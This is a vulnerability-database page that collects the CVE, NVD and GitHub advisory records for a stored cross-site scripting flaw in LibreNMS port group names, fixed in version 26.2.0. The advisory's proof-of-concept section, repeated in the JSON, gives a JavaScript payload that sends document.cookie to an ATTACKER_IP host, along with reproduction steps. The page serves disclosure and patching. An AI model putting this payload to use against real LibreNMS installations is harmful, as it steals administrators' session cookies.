Vulnerability-Lookup

CVE-2026-26992 (GCVE-0-2026-26992)

Vulnerability from cvelistv5 – Published: 2026-02-20 02:26 – Updated: 2026-02-20 15:53

Title

LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name

Summary

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.

Severity ?

5.1 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/librenms/librenms/security/adv…	x_refsource_CONFIRM
	https://github.com/librenms/librenms/pull/19042	x_refsource_MISC
	https://github.com/librenms/librenms/commit/882fe…	x_refsource_MISC
	https://github.com/librenms/librenms/releases/tag…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	librenms	librenms	Affected: < 26.2.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-26992",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-20T15:52:54.647707Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-20T15:53:20.444Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "librenms",
          "vendor": "librenms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 26.2.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-20T02:26:32.702Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x"
        },
        {
          "name": "https://github.com/librenms/librenms/pull/19042",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/librenms/librenms/pull/19042"
        },
        {
          "name": "https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f"
        },
        {
          "name": "https://github.com/librenms/librenms/releases/tag/26.2.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/librenms/librenms/releases/tag/26.2.0"
        }
      ],
      "source": {
        "advisory": "GHSA-93fx-g747-695x",
        "discovery": "UNKNOWN"
      },
      "title": "LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-26992",
    "datePublished": "2026-02-20T02:26:32.702Z",
    "dateReserved": "2026-02-17T01:41:24.606Z",
    "dateUpdated": "2026-02-20T15:53:20.444Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-26992\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-02-20T03:16:00.990\",\"lastModified\":\"2026-02-20T16:20:34.507\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \\\"/port-groups\\\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.\"},{\"lang\":\"es\",\"value\":\"LibreNMS es una herramienta de monitorizaci\u00f3n de red basada en PHP/MySQL/SNMP con descubrimiento autom\u00e1tico. En las versiones 26.1.1 e inferiores, el nombre del grupo de puertos no se sanea, lo que permite a atacantes con privilegios de administrador realizar ataques de Stored Cross-Site Scripting (XSS). Cuando un usuario a\u00f1ade un grupo de puertos, se env\u00eda una solicitud HTTP POST a la Request-URI \u0027/port-groups\u0027. El nombre del grupo de puertos reci\u00e9n creado se almacena en el valor del par\u00e1metro name. Despu\u00e9s de que se cree el grupo de puertos, la entrada se muestra junto con botones relevantes como Editar y Eliminar. Este problema se ha solucionado en la versi\u00f3n 26.2.0.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":5.1,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"PASSIVE\",\"vulnConfidentialityImpact\":\"LOW\",\"vulnIntegrityImpact\":\"LOW\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"LOW\",\"subIntegrityImpact\":\"LOW\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N\",\"baseScore\":4.8,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"HIGH\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":1.7,\"impactScore\":2.7}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-79\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"26.2.0\",\"matchCriteriaId\":\"C0838E1C-0369-4B31-9B51-83A5D2A7CAC9\"}]}]}],\"references\":[{\"url\":\"https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/librenms/librenms/pull/19042\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://github.com/librenms/librenms/releases/tag/26.2.0\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\",\"Release Notes\"]},{\"url\":\"https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-26992\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-02-20T15:52:54.647707Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-02-20T15:53:14.607Z\"}}], \"cna\": {\"title\": \"LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name\", \"source\": {\"advisory\": \"GHSA-93fx-g747-695x\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 5.1, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N\", \"userInteraction\": \"PASSIVE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"LOW\", \"subIntegrityImpact\": \"LOW\", \"vulnIntegrityImpact\": \"LOW\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"LOW\", \"vulnConfidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"librenms\", \"product\": \"librenms\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 26.2.0\"}]}], \"references\": [{\"url\": \"https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x\", \"name\": \"https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/librenms/librenms/pull/19042\", \"name\": \"https://github.com/librenms/librenms/pull/19042\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f\", \"name\": \"https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/librenms/librenms/releases/tag/26.2.0\", \"name\": \"https://github.com/librenms/librenms/releases/tag/26.2.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \\\"/port-groups\\\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-79\", \"description\": \"CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-02-20T02:26:32.702Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-26992\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-02-20T15:53:20.444Z\", \"dateReserved\": \"2026-02-17T01:41:24.606Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-02-20T02:26:32.702Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-26992

Vulnerability from fkie_nvd - Published: 2026-02-20 03:16 - Updated: 2026-02-20 16:20

Severity ?

4.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f	Patch
security-advisories@github.com	https://github.com/librenms/librenms/pull/19042	Issue Tracking
security-advisories@github.com	https://github.com/librenms/librenms/releases/tag/26.2.0	Product, Release Notes
security-advisories@github.com	https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x	Exploit, Third Party Advisory

Impacted products

	Vendor	Product	Version
	librenms	librenms	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "C0838E1C-0369-4B31-9B51-83A5D2A7CAC9",
              "versionEndExcluding": "26.2.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0."
    },
    {
      "lang": "es",
      "value": "LibreNMS es una herramienta de monitorizaci\u00f3n de red basada en PHP/MySQL/SNMP con descubrimiento autom\u00e1tico. En las versiones 26.1.1 e inferiores, el nombre del grupo de puertos no se sanea, lo que permite a atacantes con privilegios de administrador realizar ataques de Stored Cross-Site Scripting (XSS). Cuando un usuario a\u00f1ade un grupo de puertos, se env\u00eda una solicitud HTTP POST a la Request-URI \u0027/port-groups\u0027. El nombre del grupo de puertos reci\u00e9n creado se almacena en el valor del par\u00e1metro name. Despu\u00e9s de que se cree el grupo de puertos, la entrada se muestra junto con botones relevantes como Editar y Eliminar. Este problema se ha solucionado en la versi\u00f3n 26.2.0."
    }
  ],
  "id": "CVE-2026-26992",
  "lastModified": "2026-02-20T16:20:34.507",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.7,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.1,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "LOW",
          "subIntegrityImpact": "LOW",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-20T03:16:00.990",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/librenms/librenms/pull/19042"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/librenms/librenms/releases/tag/26.2.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-93FX-G747-695X

Vulnerability from github – Published: 2026-02-18 22:07 – Updated: 2026-02-20 16:51

Summary

LibreNMS /port-groups name Stored Cross-Site Scripting

Details

Summary

/port-groups name Stored Cross-Site Scripting

HTTP POST
Request-URI(s): "/port-groups"
Vulnerable parameter(s): "name"
Attacker must be authenticated with "admin" privileges.
When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter.
After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.

Details

The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/port-group/index.blade.php:

@extends('layouts.librenmsv1')
@section('title', __('Port Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-port-groups-panel">
// [...Truncated...]
@foreach($port_groups as $port_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Port Group') }}" aria-label="{{ __('Delete') }}"

onclick="delete_pg(this, '{{ $port_group-
>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')"> // using the
port's name in the Delete button functionality without sanitizing for XSS related
characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.

PoC

Login
Select Ports > Manage Port Groups
Select New Port Group
Input 12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
Select Save
Select the Delete Icon for the newly created Port Group
Select OK
The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.

Severity ?

5.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:07:42Z",
    "nvd_published_at": "2026-02-20T03:16:00Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n**/port-groups name Stored Cross-Site Scripting**\n\n- HTTP POST\n- Request-URI(s): \"/port-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter.\n- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.\n\n### Details\nThe vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/port-group/index.blade.php:_\n```\n@extends(\u0027layouts.librenmsv1\u0027)\n@section(\u0027title\u0027, __(\u0027Port Groups\u0027))\n@section(\u0027content\u0027)\n\u003cdiv class=\"container-fluid\"\u003e\n\u003cx-panel id=\"manage-port-groups-panel\"\u003e\n// [...Truncated...]\n@foreach($port_groups as $port_group)\n// [...Truncated...]\n\n\u003cbutton type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __(\u0027delete Port Group\u0027) }}\" aria-label=\"{{ __(\u0027Delete\u0027) }}\"\n\nonclick=\"delete_pg(this, \u0027{{ $port_group-\n\u003ename }}\u0027, \u0027{{ route(\u0027port-groups.destroy\u0027, $port_group-\u003eid) }}\u0027)\"\u003e // using the\nport\u0027s name in the Delete button functionality without sanitizing for XSS related\ncharacters/strings\n```\n\nAs the device\u0027s name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Ports \u003e Manage Port Groups\n- Select New Port Group\n- Input `12345\u0027);varpt=newImage();pt.src=\u0027http://\u003cATTACKER_IP\u003e/cookiePG\u0027.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, \u002712345 into the \"Name\" input box (change \u003cATTACKER_IP\u003e to be an the IP of an attacker controlled webserver)`\n- Select Save\n- Select the Delete Icon for the newly created Port Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user\u0027s cookies.",
  "id": "GHSA-93fx-g747-695x",
  "modified": "2026-02-20T16:51:59Z",
  "published": "2026-02-18T22:07:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26992"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/pull/19042"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/releases/tag/26.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LibreNMS /port-groups name Stored Cross-Site Scripting"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-26992 (GCVE-0-2026-26992)

FKIE_CVE-2026-26992

GHSA-93FX-G747-695X

Summary

Details

PoC

Tags

Sightings

Nomenclature